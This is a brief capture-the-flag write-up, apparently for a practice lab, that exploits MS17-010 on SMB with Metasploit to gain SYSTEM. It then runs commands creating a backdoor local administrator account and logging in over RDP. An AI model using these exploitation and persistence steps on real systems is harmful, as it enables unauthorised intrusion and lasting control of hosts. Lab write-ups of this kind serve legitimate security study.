Challenge

nmap flagged MS17-010 (CVE-2017-0143) on SMB. The Metasploit ms17_010_psexec module returned SYSTEM.

net user larry bird /add
net localgroup administrators larry /add
xfreerdp /u:larry /p:bird /v:offline.thm

RDP in as admin for the king-server.